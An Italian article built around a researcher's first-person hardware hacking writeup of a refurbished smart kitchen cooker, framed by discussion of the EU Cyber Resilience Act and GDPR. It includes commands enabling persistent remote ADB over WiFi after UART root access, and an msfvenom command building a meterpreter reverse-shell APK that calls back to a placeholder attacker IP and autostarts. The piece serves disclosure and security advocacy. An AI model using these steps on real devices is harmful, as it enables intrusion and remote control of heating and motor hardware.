Usato una volta, hackerato due volte: il debito di sicurezza dei dispositivi IoT ricondizionati

Il mercato dei dispositivi IoT (Internet of Things) ha conosciuto una crescita esponenziale negli ultimi anni, portando nelle nostre case, uffici e infrastrutture critiche miliardi di dispositivi connessi: elettrodomestici intelligenti, telecamere di sorveglianza, router, wearable, sistemi industriali e molto altro. Tuttavia, questa proliferazione capillare ha portato con sé una superficie di attacco senza precedenti. I dispositivi IoT sono oggi tra i bersagli preferiti degli attori malevoli, complici la scarsa attenzione alla sicurezza in fase di progettazione, l’utilizzo di software obsoleto e privo di aggiornamenti, credenziali di default mai modificate, e interfacce di debug lasciate aperte in produzione.

Le conseguenze di queste lacune non sono meramente teoriche: botnet composte da milioni di dispositivi IoT compromessi hanno già causato interruzioni su scala globale, violazioni di dati sensibili e – come illustra il caso analizzato in questo articolo – la possibilità concreta di causare danni fisici agli utenti finali attraverso il controllo remoto non autorizzato di componenti hardware. In uno scenario in cui un elettrodomestico da cucina può diventare un vettore di attacco, il tema della sicurezza IoT smette di essere una questione puramente tecnica e diventa una responsabilità etica e legale dei produttori.

Secure by Design, Secure by Default. I produttori di dispositivi IoT hanno la responsabilità di integrare la sicurezza in ogni singola fase del ciclo di vita del prodotto: dalla progettazione hardware e software, allo sviluppo del firmware, fino alla distribuzione, alla gestione degli aggiornamenti e alla dismissione del dispositivo. Ciò implica l’adozione di pratiche consolidate come la Threat Modeling, il Penetration Testing hardware e software, la gestione sicura delle credenziali, la disabilitazione delle interfacce di debug in produzione, la cifratura delle comunicazioni e la disponibilità di un processo strutturato di Vulnerability Disclosure e patch management per l’intera vita utile del prodotto.

Oltre all’impatto diretto sulla sicurezza dei propri clienti, i produttori devono oggi confrontarsi con un quadro normativo in rapida evoluzione. Il Cyber Resilience Act (CRA) – il regolamento europeo sulla cyber-resilienza dei prodotti con elementi digitali – stabilisce requisiti obbligatori di cybersecurity per tutti i prodotti hardware e software immessi sul mercato dell’Unione Europea.

Il CRA, entrato in vigore il 10 dicembre 2024, con piena applicazione obbligatoria dall’11 dicembre 2027, impone ai produttori di garantire che i propri dispositivi siano progettati senza vulnerabilità note sfruttabili, che le credenziali di accesso predefinite siano uniche o modificabili dall’utente, che le interfacce non necessarie siano disabilitate, e che vengano forniti aggiornamenti di sicurezza per tutta la durata del supporto dichiarata. La mancata conformità al CRA può comportare sanzioni fino a 15 milioni di euro o al 2,5% del fatturato globale annuo e l’impossibilità di commercializzare il prodotto nel mercato europeo.

Il caso pratico che segue – basato sull’analisi di un comune elettrodomestico IoT acquistato ricondizionato – illustra in modo concreto e diretto il tipo di vulnerabilità che i produttori dovrebbero identificare ed eliminare prima che i loro dispositivi raggiungano le mani degli utenti finali. Non si tratta di un attacco sofisticato condotto da un threat actor avanzato: si tratta di tecniche di base, alla portata di chiunque disponga degli strumenti giusti e di qualche ora di tempo libero. E questo, nel 2026, non è più accettabile.

Nelle pagine che seguono, Luca Bongiorni – security researcher e sviluppatore del tool WHIDBOARD – racconta in prima persona l’analisi condotta sul dispositivo: un resoconto tecnico diretto, nella forma del security writeup, che documenta ogni fase dell’attività di ricerca.

Ho fame di hardware hacking

Di recente ho completato la fase di R&D di un nuovo strumento chiamato WHIDBOARD e, per testarlo, ho deciso di dare un’occhiata a un elettrodomestico da cucina IoT comprato ricondizionato presso un negozio online. Il risultato è stato inaspettatamente esilarante!

Il DUT (Device Under Test) di questo post è un elettrodomestico da cucina intelligente (i.e. un cosidetto IoT Smart Cooker).

Si tratta di un robot da cucina multifunzione all-in-one con 37 funzioni, dotato di un touch screen da 5″ e controllabile da remoto tramite la sua app mobile – si connette tramite rete WiFi. Poiché la versione ricondizionata era più economica… e tanto non la userei mai per cucinare… l’ho acquistato senza pensarci.

Ricondizionato ≠ reset di fabbrica

Frequentemente i negozi online permettono ai clienti di restituire articoli che non soddisfano le loro aspettative… Ma sorge una domanda più che legittima: dove finiscono questi articoli? Come vengono ricondizionati? Viene eseguito un factory reset PRIMA della rivendita?!

Dopo l’accensione, mi sono connesso alla mia rete WiFi e ho cercato di associarlo all’app mobile… ma è successa una cosa divertente. Il DUT era già associato a un altro (probabilmente il precedente) proprietario. Mi chiedo cosa direbbe un DPO di questa situazione…

Dal punto di vista della protezione dei dati personali, il dispositivo ricondizionato conteneva ancora le credenziali e l’associazione di account del precedente proprietario, rendendo i suoi dati accessibili al nuovo acquirente senza alcuna azione richiesta. Ai sensi dell’art. 25 del GDPR (Privacy by Design e by Default), il venditore di ricondizionato avrebbe dovuto garantire, come misura tecnica adeguata, l’esecuzione di un factory reset certificato prima della rivendita. La mancata sanitizzazione potrebbe configurare una violazione dei dati personali ai sensi dell’art. 33 GDPR, con obbligo di notifica all’Autorità Garante entro 72 ore dalla scoperta.

Smontaggio del DUT

Da un’ispezione iniziale dell’esterno, è possibile notare un primo indizio interessante: una porta USB micro nascosta.

Tuttavia, collegandola a un computer non succede nulla di particolarmente interessante. Il passo successivo è stato aprire il target: tra tutti gli altri componenti (touch screen, interruttori, sensori, motori, alimentatore, ecc…) mi sono ritrovato davanti alla scheda madre.

I componenti principali identificati:

• A213Y – Amlogic SoC
• KLM8G1GETF-B041 – memoria flash eMMC da 8GB con footprint FBGA-153
• RS256M16V0DB-107AT – DDR SDRAM con footprint FBGA-96

Sono presenti anche alcuni punti di accesso interessanti per le interfacce di debug…

Ma il punto di accesso più interessante si trovava sul lato opposto: alcuni test pad etichettati con il classico pinout dell’interfaccia di debug UART (GND, RX, TX).

Il passo successivo era scontato: saldare un paio di fili su quei pad, prendere il mio WHIDBOARD e verificare – con il Logic Analyzer e il Pin Enumerator – se si trattasse davvero di un’interfaccia di debug UART.

Prima ho collegato tutti i fili al morsettino del Logic Analyzer del WHIDBOARD per sniffare qualche dato. Ecco cosa ho ottenuto su PulseView:

Ottenere il Root tramite UART

Abbiamo confermato facilmente che i 3 test pad sul retro della PCB sono davvero una console UART funzionante, dal Logic Analyzer si vede il DUT che emette la sequenza di boot. Proviamo ora a connetterci direttamente con WHIDBOARD e il Pin Enumerator.

La funzione Pin Enumerator permette di scoprire automaticamente i pin di interfacce di debug come UART, JTAG e SWD. Nel mio caso ho usato soprattutto la funzione Passthrough per comunicare con il target collegato al morsettino e confermare la giusta combinazione di pin UART.

Una volta confermato con il Pin Enumerator che mi trovavo davanti a una porta di debug UART, ho usato la funzione Passthrough e sono stato accolto da un meraviglioso terminale con accesso root. BOOM!

Cosa fare adesso?

A questo punto è chiaro che il dispositivo può essere compromesso con facilità. Ma volevo continuare a smanettare e capire come funziona la connessione remota…

Passo 1:abilitare la connessione ADB remota via WiFi

Ho abilitato la connessione ADB remota con i seguenti comandi:

setprop persist.service.adb.enable 1

setprop service.adb.tcp.port 5555

start adbd

Ho confermato che tutto funzionava perfettamente:

A questo punto abbiamo già una connessione remota persistente con il DUT (stessa LAN). Il daemon del server ADB persisterà anche dopo il riavvio.

Passo 2: ricognizione

Ho enumerato le app installate per verificare due cose: quale versione di Android è in esecuzione e quali sono le Le due app più interessanti:

• package:/data/app/com.vendor.androidrk3326functiontest-1.apk
• package:/data/app/com.vendor.smartcooker.app-2.apk

Prima di continuare, ho avviato rapidamente le impostazioni Android con il comando:

am start -n com.android.settings/.Settings

…e come previsto il DUT girava su una versione vecchia di Android: 4.4.2. Un sistema operativo rilasciato nel 2013 e privo di patch di sicurezza dal 2017, da quasi un decennio.

Passo 3: ricognizione di rete

Guardando l’output di netstat ho rilevato alcune connessioni con indirizzi IP pubblici:

Niente di particolarmente allarmante, ma uno ha attirato la mia curiosità. Poiché si trattava di un backend di proprietà altrui, quindi l’ho considerato out-of-scope e mi sono concentrato su altro.

Passo 4: BusyBox

Ho poi cercato i soliti strumenti hacker per esfiltrare dati o ottenere una reverse shell da target IoT. Uno su tutti: Sua Maestà BUSYBOX. E questo ne aveva di ogni:

Solo con esso avrei potuto esfiltrare, caricare, manipolare dati e ottenere una reverse shell con netcat. Ma andiamo avanti,con la shell ADB persistente non ne abbiamo bisogno questa volta. Con ADB Explorer ho scaricato tutti i file interessanti trovati in giro. Niente di molto interessante però: questo dispositivo non ha microfono né fotocamera… non possiamo nemmeno spiare la gente da remoto.

Analisi degli APK

Ho spostato la mia attenzione sugli APK del vendor:

• vendor.androidrk3326functiontest-1.apk,suite di test funzionale per sensori e driver motori
• vendor.smartcooker.app-2.apk – app principale del dispositivo

L’APK funzionale è interessante perché questo elettrodomestico IoT ha una bilancia integrata, un riscaldatore, un motore per mescolare il cibo e vari sensori, tutti controllati dalle due app (anche da remoto tramite smartphone…).

Per com.kitchenidea.cecotec.k2501-2.apk ho notato rapidamente che è una copia dell’update.apk trovato in /sdcard/,non serve analizzarli entrambi:

L’analisi del secondo APK non ha fatto scattare troppi campanelli d’allarme, ma ha confermato che l’app ha pieno accesso a tutti i sensori, al riscaldatore, al motore, ecc. In teoria si potrebbe creare un malware che disturba la vittima da remoto inviando comandi arbitrari sulle porte seriali…

Ho anche verificato se ci fossero URL/IP interessanti hardcodati nelle due app… ma sembrano la solita robaccia:

Stavo andando di fretta, quindi ho lanciato MobSF per ottenere una panoramica rapida del livello di rischio: (TL;DR: Niente di terribile)

Complessivamente, è chiaro che esiste il potenziale per weaponizzare questo dispositivo con un APK personalizzato controllabile da remoto da un attaccante, per manipolare le funzioni interne e causare danni fisici, bypassare le misure di sicurezza? Surriscaldare la pentola? Pensateci…

Scherzi e reverse shell

Come ultimo esercizio, volevo verificare se una meterpreter reverse shell avrebbe funzionato e se attraverso di essa avrei potuto far girare DOOM o fare qualche scherzo a mia moglie…

Step 1: generare l’APK meterpreter

msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP_ATTACCANTE> LPORT=31337 -f raw -o revshell.apk

Step 2: push e installazione via ADB

Step 3: esecuzione

Step 4: listener MSF su WHIDOS VM

Ora ad ogni riavvio del dispositivo la reverse shell si esegue automaticamente e chiama il C2 dell’attaccante:

A questo punto installare ed eseguire DOOM era questione di secondi… 😀

Conclusione

L’analisi condotta su questo comune elettrodomestico IoT ha evidenziato, in modo inequivocabile, come vulnerabilità elementari e ben note continuino ad affliggere dispositivi commercializzati e acquistati da milioni di utenti. L’assenza di un factory reset prima della rivendita, una console UART di debug aperta e accessibile fisicamente, un sistema operativo Android 4.4.2, rilasciato nel 2013 e privo di patch di sicurezza dal 2017,, e la possibilità di installare payload arbitrari tramite ADB: non si tratta di zero-day sofisticati, ma di negligenze di base che un adeguato processo di security testing avrebbe dovuto rilevare ed eliminare prima della commercializzazione del prodotto.

Le implicazioni concrete di queste lacune non sono banali: il riscaldatore e il motore del dispositivo sono interamente controllabili da remoto via appe, in uno scenario di compromissione, anche da un attaccante. Un dispositivo trasformato in un vettore di danno fisico non è più uno scenario ipotetico, ma una possibilità tecnica dimostrata. Analogamente, il tema dei dispositivi ricondizionati che cambiano mano senza un adeguato processo di sanitizzazione rappresenta un rischio concreto per la privacy degli utenti, con dati e associazioni di account del precedente proprietario ancora accessibili al nuovo acquirente.

Dal punto di vista normativo, scenari come questo sono esattamente ciò che il Cyber Resilience Act intende prevenire. I requisiti essenziali di sicurezza introdotti dal CRA – tra cui la disabilitazione delle interfacce di debug in produzione, l’uso di credenziali predefinite uniche, la fornitura di aggiornamenti di sicurezza e la gestione strutturata delle vulnerabilità – avrebbero direttamente mitigato le vulnerabilità identificate in questo caso. I produttori che non si adegueranno a questi requisiti non solo esporranno i propri clienti a rischi concreti, ma si troveranno impossibilitati a commercializzare i propri prodotti nel mercato europeo a partire dall’11 dicembre 2027.